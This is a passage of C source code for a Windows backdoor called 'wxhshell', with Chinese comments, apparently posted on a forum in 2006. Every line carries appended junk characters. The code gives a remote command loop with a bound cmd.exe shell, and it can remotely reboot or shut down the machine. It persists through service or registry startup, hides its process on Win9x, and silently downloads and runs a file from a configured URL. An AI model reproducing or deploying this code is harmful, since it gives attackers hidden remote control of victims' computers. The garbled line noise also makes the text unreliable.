  else { hQbz}x  
*h"7!g  
    switch(cmd[0]) { bX&=*L+ h6  
  y$HV;%G{26  
  // 帮助 NB)22 %  
  case '?': { (yhnv Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mvlqx J$  
    break; oei2$uu  
  } #; >v,Jo  
  // 安装 ]KRw[}z  
  case 'i': { _2S( *  
    if(Install()) ft 4(^|~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 32,Y 3!%  
    else ;[[oZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sxU 0Fg   
    break; XXPpj< c  
    } V3> JZH`  
  // 卸载 4#w Z#}  
  case 'r': { ,CQg6- [  
    if(Uninstall()) - |&&lxrwh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJI`1*(  
    else `KmM*_a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5'[b:YC  
    break; h2m@Q={  
    } c\(CbC  
  // 显示 wxhshell 所在路径 &X OFc.u  
  case 'p': { VPXUy=W  
    char svExeFile[MAX_PATH]; !"QvV6Lq\  
    strcpy(svExeFile,"\n\r"); Xg1QF^  
      strcat(svExeFile,ExeFile); aO$I|!tl  
        send(wsh,svExeFile,strlen(svExeFile),0); _ "H&  
    break; Ex}hk!  
    } E4N{;'  
  // 重启 h_K!ch }  
  case 'b': { v_e3ZA:%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c^EU &q{4  
    if(Boot(REBOOT)) F>s5<pKAX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QlK]2r9  
    else { ~-o[v-\  
    closesocket(wsh); 78/,rp#'_  
    ExitThread(0); 0}I aWd^4  
    } ^ah9:}Ll  
    break; xh9Os <  
    } q!\4|KF~  
  // 关机 bGe@yXId5  
  case 'd': { .V`N^ H:l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4 oZm0  
    if(Boot(SHUTDOWN)) MI\35~JAN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {#4F}@Q  
    else { fy|$A@f  
    closesocket(wsh); x3Ze\N8w  
    ExitThread(0); &-hXk!A  
    } ^K'@W  
    break; yw+LT,AQ.  
    } )>U7+ Me  
  // 获取shell MC;2.e`  
  case 's': { E8] kd  
    CmdShell(wsh); k?;B1D8-n  
    closesocket(wsh); j NkobJ1  
    ExitThread(0); fKOC-%w  
    break; ![j?/376  
  } IcP\#zhEv  
  // 退出 &*8_w-  
  case 'x': { 6#(==}Sm+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V(3=j)#  
    CloseIt(wsh); o3=pxU*  
    break; ~"nF$DB  
    } 6-J%Z%yT #  
  // 离开 6g&Ev'  
  case 'q': { 'Uu!K!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )4e?-?bK!  
    closesocket(wsh); AS'%Md&I  
    WSACleanup(); Ws*UhJY<GS  
    exit(1); =a^}]k}  
    break; :.aMhyh#*  
        } \2!1fN  
  } 2v?fbrC5c  
  }  {Bw  
(rm*KD"]  
  // 提示信息 M2lvD&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FE,BvNBZ  
} kmT5g gy  
  } ]-"G:r  
f O,5 u;  
  return; 2rPmu  
} H<Ik.]m  
"kd)dy95H  
// shell模块句柄 " `FcW  
int CmdShell(SOCKET sock) jIi:tO9G^,  
{ x7ZaI{    
STARTUPINFO si; y XT8:2M  
ZeroMemory(&si,sizeof(si)); Ra/Pk G-7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VDTt}J8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7m:ZG  
PROCESS_INFORMATION ProcessInfo; (NC]S  
char cmdline[]="cmd"; E.eUd4XG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #gsJ tT9  
  return 0; cPy/}A  
} "."ow|  
|wINb~trz  
// 自身启动模式 xtO#reL"q?  
int StartFromService(void) }\0ei(%H  
{ g+A>Bl3#  
typedef struct O+OUcMa,  
{ J"~!jrzBh(  
  DWORD ExitStatus; YpI|=mv  
  DWORD PebBaseAddress; M>[e1y>7  
  DWORD AffinityMask; c*.-mS~Z`  
  DWORD BasePriority; yQ0:M/r;0  
  ULONG UniqueProcessId;  G& m~W  
  ULONG InheritedFromUniqueProcessId; je8 5G`{DC  
}   PROCESS_BASIC_INFORMATION; s>*xAIx  
<.".,Na(J0  
PROCNTQSIP NtQueryInformationProcess; i93 6+[  
V:h7}T95  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O',Vce$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L yH1tF  
!|Wf mU  
  HANDLE             hProcess; %2y5a`b  
  PROCESS_BASIC_INFORMATION pbi; ,49Z/P  
OE*Y%*b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y'C1L4d  
  if(NULL == hInst ) return 0; =M=v; ,I-  
8W Etm}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 10_#Z~aU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7-gT:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s  }Ql9  
YD;G+"n?T  
  if (!NtQueryInformationProcess) return 0; \@[,UZ  
T~L&c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e|N~tUVrrN  
  if(!hProcess) return 0; $*;`$5.x^  
"+E\os72|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _iL?kf  
-Xx4:S  
  CloseHandle(hProcess); ?4^ 0xGyE  
V503  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y (p Ud3y  
if(hProcess==NULL) return 0; T+e*'<!O  
.cm2L,1h  
HMODULE hMod; "VDMO^  
char procName[255]; m?kyAW'|  
unsigned long cbNeeded; Dxy^r*B  
t)1`^W}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1yVhO2`7]  
w2db=9  
  CloseHandle(hProcess); v7 n@CWnN  
F1A40h7R$Y  
if(strstr(procName,"services")) return 1; // 以服务启动 1ktxG1"1  
$<AaeyR!N  
  return 0; // 注册表启动 .5uqc.i"f  
} =*1NVi $n  
e3ce?gk  
// 主模块 Lw2VdFi>E&  
int StartWxhshell(LPSTR lpCmdLine) rr,w/[  
{ &r\8VEZq"  
  SOCKET wsl; \W]gy_=D{  
BOOL val=TRUE; .cbC2t95  
  int port=0; VD< z]@  
  struct sockaddr_in door; 2vWn(6`  
Q8MIpa!:  
  if(wscfg.ws_autoins) Install(); 7Ja*T@ !h  
;tSA Q  
port=atoi(lpCmdLine); Uo71C4ev  
FgL892[  
if(port<=0) port=wscfg.ws_port; 7i!VgV  
!I.}[9N  
  WSADATA data; '%82pZ,?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #*:^\z_Jd  
'ZB^=T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ()48>||  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q k 6  
  door.sin_family = AF_INET; 8CZ%-}-%$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k/D{&(F ~  
  door.sin_port = htons(port); *~>p;*  
X'-Yz7J?o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !|up"T I  
closesocket(wsl); 0EF~Ouef  
return 1; i[@13kr  
} 2j}DI"|h  
1[T7;i$  
  if(listen(wsl,2) == INVALID_SOCKET) { [q_+s  
closesocket(wsl); UKQ"sC  
return 1; 4(8tr D6  
} Px&_6}YWy  
  Wxhshell(wsl); 1I{8 |  
  WSACleanup(); > (9\ cF{  
g4 eW<  
return 0; 3 ye  
x-e6[_F  
} z}B 39L  
Mx$&{.LFJ  
// 以NT服务方式启动 Xh>($ U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <l $ d>,  
{ X.#)CB0c1Q  
DWORD   status = 0; r34MDUZdI  
  DWORD   specificError = 0xfffffff; Id##367R  
P/dnH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " X8jpg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 10i$b<O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [IQ|c?DxpL  
  serviceStatus.dwWin32ExitCode     = 0; q+y\pdhdO  
  serviceStatus.dwServiceSpecificExitCode = 0; &'x~<rx  
  serviceStatus.dwCheckPoint       = 0; Rh?bBAn8  
  serviceStatus.dwWaitHint       = 0; ~y2zl  
>a,D8M?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c%J6!\  
  if (hServiceStatusHandle==0) return; JD~;.3$/k  
)muNfs m  
status = GetLastError(); "GZi eI D  
  if (status!=NO_ERROR) !~Uj 'w  
{ AoeRoqg&#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3_~iq>l  
    serviceStatus.dwCheckPoint       = 0; > :IWRc2  
    serviceStatus.dwWaitHint       = 0; lU%}_!tp3/  
    serviceStatus.dwWin32ExitCode     = status; L]|mWyzT  
    serviceStatus.dwServiceSpecificExitCode = specificError;  7P7OTN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EP 4]#]5  
    return; `om+p?j  
  } {PcJuRTHB  
U~N7\Pa4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r~lZ8$KC  
  serviceStatus.dwCheckPoint       = 0; *L$2M?xkY  
  serviceStatus.dwWaitHint       = 0; Zn'tNt/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uI)twry]@  
} Z0jgUq`r  
/}(d'@8p  
// 处理NT服务事件,比如:启动、停止 :Ko6.|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :q]9F4im  
{ ^k;]"NR  
switch(fdwControl) fq]PKLW'  
{ RhH 1nf2UR  
case SERVICE_CONTROL_STOP: S@FO&o 0  
  serviceStatus.dwWin32ExitCode = 0; o)/Pr7Qn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4=xi)qF/@  
  serviceStatus.dwCheckPoint   = 0; kkF)Tro\  
  serviceStatus.dwWaitHint     = 0; ]:59c{O  
  { La;G S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Aw |;C  
  } jC9us>b  
  return; qk1jmr  
case SERVICE_CONTROL_PAUSE: .h7s.p?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g[3LPKQ  
  break; ]R#:Bq!F  
case SERVICE_CONTROL_CONTINUE: ~ELMLwn.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qW0:q.   
  break; sQvRupYRO  
case SERVICE_CONTROL_INTERROGATE: :oP LluW*  
  break; :TH cI;PG8  
}; 2 }r=DAe0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <EpL<K%  
} rp||#v0l!w  
f'^uuO#x  
// 标准应用程序主函数 d,b4q&^X8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5^u$zfR  
{  ?pTX4a&>  
D(#f`Fj;  
// 获取操作系统版本 $zM shLT  
OsIsNt=GetOsVer(); mll :rWC)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IOcQI:4.`  
d(T4Kd$r  
  // 从命令行安装 {r,U ik-nL  
  if(strpbrk(lpCmdLine,"iI")) Install(); wA=r ]BT  
,#A(I#wL~  
  // 下载执行文件 Ymk?@mV4  
if(wscfg.ws_downexe) { Tlsh[@Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /kW Z 8Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); mgq!)  
} B`~EA] d  
g* q#VmE  
if(!OsIsNt) { P[nc8z[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~[g(@Xt  
HideProc(); 5p;AON  
StartWxhshell(lpCmdLine); M"~jNe|  
} ;b$P*dSG}  
else Dqx#i-L23  
  if(StartFromService()) x sryXex;  
  // 以服务方式启动 Zv u6/#  
  StartServiceCtrlDispatcher(DispatchTable); Z/#_Swv  
else w,LtQhQ  
  // 普通方式启动 CLR1 CGnn7  
  StartWxhshell(lpCmdLine); O VV@  
Rh!UbEPjC  
return 0; 06&J!,p :  
}
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只看该作者 1 发表于: 2006-10-10
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